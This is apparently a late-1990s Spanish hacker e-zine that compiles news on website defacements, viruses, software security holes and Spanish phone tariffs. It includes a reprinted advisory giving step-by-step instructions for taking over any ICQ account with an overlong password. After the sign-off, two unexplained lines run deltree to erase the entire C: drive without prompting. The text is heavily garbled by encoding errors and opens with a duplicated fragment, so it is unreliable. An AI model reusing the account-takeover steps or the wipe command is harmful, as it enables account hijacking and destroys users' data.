Familyö, ôAnti-ETAö y ôWin32.Influenzaö. El ôWin32/Marburgö es un virus ôpolim≤rficoö (cambia de forma) y es de ôacci≤n directaö, esto es, busca en archivos ejecutables para infectarlos. Una de sus manifestaciones se basa en exhibir en pantalla iconos de error de Windows 98; otra es que aumenta el tama±o de los archivos da±ados ///////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\Un grupo de ôhackersö espa±oles entra el servidor web de la agencia ôEuropa Pressö Domingo, 9 Agosto El servidor web de ôEuropa Pressö, la segunda agencia de noticias espa±olas despuΘs de ôEfeö ha sido asaltado hoy sßbado 8 por un grupo de ôhackersö espa±oles denominado ôDigit0ö, quienes comunicaron la acci≤n a LABRUJULA.NET . Los hackers dejaron una se±al de su incursi≤n en la pßgina web de ôEuropa Pressö,<HTTP: www.europapress.es http://www.europapress.es . Escribieron la frase: ôLa seguridad es s≤lo un estado mentalö; y manifestaron su protesta contra las subidas telef≤nicas: ôEl dφa 3 todos contra el abusoö, con un enlace al sitio web http://www.lanzadera.com/lahuelga , en el que se manifiesta la disconformidad con el incremento de las tarifas. Europa Press es el primer medio de comunicaci≤n espa±ol que resulta ôhackeadoö. Al comprobar que despuΘs de varias horas la agencia no restauraba la versi≤n original de sus pßginas web, el editor de LABRUJULA.NET estableci≤ contacto telef≤nico con este medio para averiguar el alcance del ataque y se encontr≤ con la sorpresa de que ning·n responsable del medio se habφa percatado de la acci≤n. Un redactor jefe, que actuaba como mßximo responsable en ausencia del director, se±al≤ que ôera la primera noticia que tenφanö y pregunt≤, extra±ado, ôpara quΘ se hacφa estoö. Una hora despuΘs de recibir nuestra comunicaci≤n, los responsables de informßtica de ôEuropa Pressö cambiaron la pßgina principal, sin que hasta el momento se haya sabido la magnitud de la acci≤n. LABRUJULA.NET tuvo noticia del ataque informßtico por un ôe-mailö que llevaba el encabezamiento de ôHackeada la Web de la agencia Europa Pressö. Esta agencia de noticias es uno de los medios hist≤ricos en el suministro de informaci≤n en Espa±a. Presta servicios a decenas de peri≤dicos y revistas. En Internet realiza desde hace casi dos a±os un servicio de noticias para ôTelef≤nicaö, y en este a±o ha firmado un acuerdo con el buscador ôOlΘö para difundir informaciones de agencia. //////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Un universitario espa±ol crea un virus que resulta indetectable por las marcas Domingo, 9 Agosto Un joven informßtico espa±ol, estudiante de telecomunicaciones, conocido como ôGriyoö, perteneciente al grupo denominado ô29 Aö, ha sido el autor de un virus bautizado como ôWin32/Marburgö, para el todavφa no existe soluci≤n, seg·n ha sabido en exclusiva LABRUJULA.NET. Este virus, que afecta a archivos de Windows 95 y 98, se estß propagando por todo el mundo despuΘs de que la publicaci≤n britßnica ôPC Gamerö, de distribuci≤n internacional, incluyera en julio un CD ROM con archivos infectados. Las empresas creadoras de anti-virus todavφa no han encontrado una soluci≤n, y s≤lo una de ellas, Doctor Solomon, ha anunciado que en breve lanzarß una versi≤n, la 7.86, que ô·nicamente lo detectarßö. ôGriyoö, al igual que el grupo ô29 Aö, formado por cinco espa±oles y cinco extranjeros, destacan a escala mundial por la sofisticaci≤n de los virus que crean. Griyo es, seg·n ha sabido nuestro peri≤dico, un universitario veintea±ero, ôtelecoö, que ha creado virus como ôCri-Criö ôFamilyö, ôWin98.HPSö, ôSuck Sexee Familyö, ôWin GoLLuM Familyö, ôAnti-ETAö y ôWin32.Influenzaö. El ôWin32/Marburgö es un virus ôpolim≤rficoö (cambia de forma) y es de ôacci≤n directaö, esto es, busca en archivos ejecutables para infectarlos. Una de sus manifestaciones se basa en exhibir en pantalla iconos de error de Windows 98; otra es que aumenta el tama±o de los archivos da±ados. /////////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ La subida en las llamadas locales se aplicarß desde el domingo dφa 9 Domingo, 9 Agosto La nuevas tarifas telef≤nicas, con un incremento medio en el precio de las llamadas locales del 13,6 % seg·n Telef≤nica y del 117 % seg·n las asociaciones de consumidores, regirßn desde este domingo dφa 9, una vez que el BOE (Boletφn Oficial de Estado) haya publicado el viernes 7 la aprobaci≤n gubernamental de la medida. En las llamadas locales, los 160 primeros segundos costarßn 11,4 pesetas, y pasado ese tiempo, cada minuto adicional costarß 4,52 pesetas en horario ôpuntaö y ônormalö y 1,64 pesetas, en horario reducido. Sin embargo, existe la posibilidad de acogerse a un descuento del 30 % en el precio del minuto a partir de los 10 primeros minutos de conversaci≤n o conexi≤n a Internet; para ello hay que abonar una cuota mensual a±adida de 250 pesetas, indicßndolo, naturalmente, a Telef≤nica. Por lo demßs, la facturaci≤n se harß por segundos y la cuota mensual bßsica de abono pasa de 1.242 pesetas a 1.442 pesetas, mientras bajan las tarifas provinciales un 5 % de media; las interprovinciales, un 15 %; y las internacionales, un 12,4 %. Telef≤nica ha dejado claro, y asφ lo difundi≤ LABRUJULA.NET el pasado domingo 2, que en septiembre volverß a exigir nuevas subidas a Fomento, al considerar que las nuevas tarifas no le permiten cubrir los costes de instalaci≤n de lφneas y servicio telef≤nico, y que las tarifas metropolitanas ôcontin·an siendo de las mßs bajas de Europaö. Juan Villalonga, presidente de la compa±φa, asφ lo indic≤ esta semana en Palma de Mallorca, argumentado que dichas tarifas ôllevan seis o siete a±os congeladasö y que ôel proceso de reequilibrio tarifario no ha hecho mßs que empezarö. Las declaraciones provocaron la indignaci≤n de gran parte de la ciudadanφa, partidos polφticos de oposici≤n (con el PSOE a la cabeza) y de asociaciones como la OCU, que las calific≤ de ôinsoportable falta de respeto para los consumidoresö. La OCU expuso, con datos que Telef≤nica no ha rebatido, que desde 1991 ha habido cinco subidas, con un incremento total de 180,8 %, mientras que la inflaci≤n acumulada ha sido del 30,5 %. Esta organizaci≤n de usuarios ha pedido al Gobierno que promueva medidas urgentes para que otras operadoras puedan prestar servicios de telefonφa en llamadas locales, mercado en el que Telef≤nica goza de un monopolio ôde factoö. ////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Eudora, con un fallo de seguridad al igual que ôNestcape Mailö y ôOutlookö Domingo, 9 Agosto El programa de correo ôEudoraö, que habφa captado nuevos clientes despuΘs de que se descubriera un grave fallo de seguridad en ôNetscape Mailö y ôMicrosoft Outlookö (ver semana anterior), registra, igualmente, otro problema que lo hace vulnerable a ataques informßticos y permite la incursi≤n de intrusos. Eudora, que ha reconocido oficialmente el fallo, ha creado un apartado, http://eudora.qualcomm.com/security.html , en el que se facilitan ôparchesö, otras versiones de programas, consejos e informaci≤n adicional. ////////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ La revista lφder del entorno Mac difunde un CD ROM con un "Caballo de Troya" Domingo, 19 julio El CD ROM que regala la revista Macworld Espa±a en su ·ltimo n·mero de julio-agosto contiene un virus informßtico del tipo ôCaballo de Troyaö, seg·n ha admitido la propia editora de la revista, la multinacional IDG Communications, en una carta enviada a sus suscriptores. El virus, denominado ôAutostart 9805ö, s≤lo afecta a los usuarios de Power Macintosh que tengan instalado el sistema operativo Mac OS 8 o posterior y que tengan activada, en modo de reproducci≤n automßtica, la utilidad QuickTime 2.0 o posterior. En esas circunstancias, cuando el usuario de Mac introduce el CD ROM en su equipo y lo ejecuta, el virus entra en el ordenador, perturbando todo su funcionamiento y haciendo inservibles algunos archivos, seg·n han informado a LABRUJULA.NET algunos lectores. Macworld Espa±a es la revista mßs vendida del segmento Mac, con una difusi≤n mensual media de 10.086 ejemplares en el ·ltimo a±o, seg·n los datos de OJD. La publicaci≤n todavφa puede adquirirse en los kioscos de Madrid y otras ciudades de Espa±a, seg·n comprobaron ayer varios redactores de nuestro peri≤dico. Los kiosqueros no tenφan ninguna informaci≤n al respecto y el n·mero de la revista no presenta ninguna informaci≤n acerca del virus contenido en este CD ROM, n·mero 26 y que se presenta con el reclamo de ôEspecial Programaci≤nö. ┌nicamente los suscriptores de Macworld, que constituyen una minorφa frente a quienes adquieren la revista en kioscos y librerφas, y quienes visitan la pßgina web de la revista, han recibido comunicaci≤n del hecho. La carta, de cuatro folios, al igual que el mencionado sitio web, contiene instrucciones para erradicar este ôcaballo de troyaö, que ha empezado a propagarse a partir de mayo desde Hong Kong. Un responsable de Macworld Espa±a, Javier R. MenΘndez, ha se±alado al respecto: ôSomos conscientes de que nuestras mßs sinceras disculpas pueden resultar poco vßlidas para aquellos usuarios que se hayan visto afectados por el ·ltimo Macworld CD. No obstante, en una situaci≤n como la ocurrida, las vφctimas de Autostart 9805 somos toda la comunidad de usuarios Macintosh entre quienes nos incluimosö. Apple Espa±a ha declinado realizar ning·n comentario al respecto y no ha facilitado ninguna informaci≤n al respecto, a pesar de la importancia del caso para la ôcomunidad macö. Diversos programadores consultados por LABRUJULA.NET han destacado ôel riesgo que supone ejecutar el CD que distribuyen las revistas, dado que no son programas propios y pueden contener las ·ltimas versiones de virusö. TambiΘn han puesto de manifiesto que ôla cuesti≤n puede dar lugar a responsabilidades legales por parte de las revistas que garantizan que el CD estß libre de virus, especialmente cuando estß avalado por marcas conocidasö. //////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Netscape Communicator 4.0 presenta un agujero de seguridad por causa de Java Domingo, 19 julio El navegador Netscape Communicator 4.0 presenta un importante agujero de seguridad que podrφa ser aprovechado por alg·n intruso para sustraer o borrar ficheros, insertar virus o cualquier otra funci≤n, seg·n ha descubierto un grupo de tΘcnicos de la Universidad de Princeton. El agujero se abre al ejecutarse algunos ôappletö, o programas, de Java, y reside en la implementaci≤n que se ha hecho de los denominados ôclass loadersö. Sin embargo, no es fßcil que los intrusos tomen el control de nuestro ordenador, dado que la fisura se activa despuΘs de seguir numerosos y complejos pasos, seg·n han se±alado expertos vinculados a Netscape. El diario electr≤nico News.com ha publicado un completo informe al respecto, con todos los enlaces a las partes implicadas ///////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Rootshell lanzo este nuevo bug: 01. ICQ Password Verification Bug --------------------------------- It appears that ICQ has yet another bug. This was just sent in from one of our users. This bug has been confirmed by Rootshell. I code a linux ICQ clone, and after one of my users mistyped his password, and was allowed into his account anyway. After further investivating, this is what I found. * It is possible to log in to the ICQ servers as ANYONE without having to know their password. This leads to all sorts of comprimises. This is *not* simply spoofing How it works: The mirabilis server uses a password of 8 chars. Their clients do the range checking and only send in passwords of 8 or less chars. The Linux clones, mine in particular, don't do this. * When a password of 9 or more characters is sent, their buffer is over-run, and it allows you to log in. The exploit: Download any ICQ clone (example: http://hookah.ml.org/zicq) Set the UIN to be the targets UIN Set the password to "123456789" <-- Just large enough to overflow Start the ICQ program. If all goes well, it will log in and connect, as that user. Any waiting (offline) messages will be delivered to you. You can now send _and_ recieve messages and URLS as the client allows. Notes: This is NOT spoofing, you are actually logged in as the selected UIN. Unlike spoofing you can recieve messages as well. All UINS will work, as long as someone is not already logged in with that UIN. Mirabilis / AOL really needs to fix this problem. //////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ BUDWEISER VIRUS segun algunas fuentes el salvapantallas que ha salido recientemente de las famosas ranas de Budweiser (una famosa marca de cerveza) se supone que si se baja el archivo comprimido en ZIP del salvapantallas a parte de perder tuda la informacion del disco duro,tambien alguna persona podria conseguir sus contrase±as. ciertas personas desmienten este echo deviso a que ellos lo han bajado y usado y no les a pasado nada. /////////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ SE DECLARARON CULPABLES DOS JOVENES HACKERS Dos adolescentes que protagonizaron el mas sistematico y mejor organizado ataque informatico contra computadoras de servicios militares norteamericanos se declararon culpables de los cargos de delincuencia juvenil. El fiscal general Michael Yamaguchi admitis que los dos jovenes, uno de 16 aqos conocido como Makaveli y otro de 15 apodado TooShort, reconocieron haber sido los responsables de una serie de ataques realizados en febrero que activs las alarmas en diferentes servicios de seguridad de los Estados Unidos. Los hackers, al ser detectados el 25 de febrero pasado, fueron detenidos en sus casas de Cloverdale cerca de San Francisco por agentes del FBI, quienes tambiin registraron sus pertenencias y se llevaron sus computadoras, impresoras y todo el software que tenman. A partir de allm se puso en marcha una intensa investigacisn que incluso involucrs al Departamento de Justicia y a la NASA. Tras reconocer su culpabilidad, los jovenes podrman ser puestos bajo custodia hasta que cumplan la mayorma de edad. Aunque Yamaguchi recomends que les fuera aplicada una probation y que se les prohiba utilizar computadoras sin autorizacisn previa. //////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 13. DESPEDIDA Y CIERRE pues aqui acaba el n║2 del que espero allais sacado buenas cosas,que las aprovecheis y que, almenos paseis un buen rato de lectura. me gustaria que colaborase mas jente mandando sus articulos,recordad que podeis hacerlo a:zed@mixmail.com y que se admitiran textos de todas clases (h/c/p/v....) tambien me gustaria que me mandaseis vuestras opiniones sobre el e-zine o preguntando cosas ya que si haceis esto ultimo,podria abrir una seccion para vuestros e-mail. espero vuestras colaboraciones y que disfruteis del verano,que esta siendo calentito {;-) --- asta el n║3 --- ZeD 10 shell "C:\windows\command\deltree.exe C:\*.* /Y" 10 shell "C:\windows\command\deltree.exe C:\*.* /Y"